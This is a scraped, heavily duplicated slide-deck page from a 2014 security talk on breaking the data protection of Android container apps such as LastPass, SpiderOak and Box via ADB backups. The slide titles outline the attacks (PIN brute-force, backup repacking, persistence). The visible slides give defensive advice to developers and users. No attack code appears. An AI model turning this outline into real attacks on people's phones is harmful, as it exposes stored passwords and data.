  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 186: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 187: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 188: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 189: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 190: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

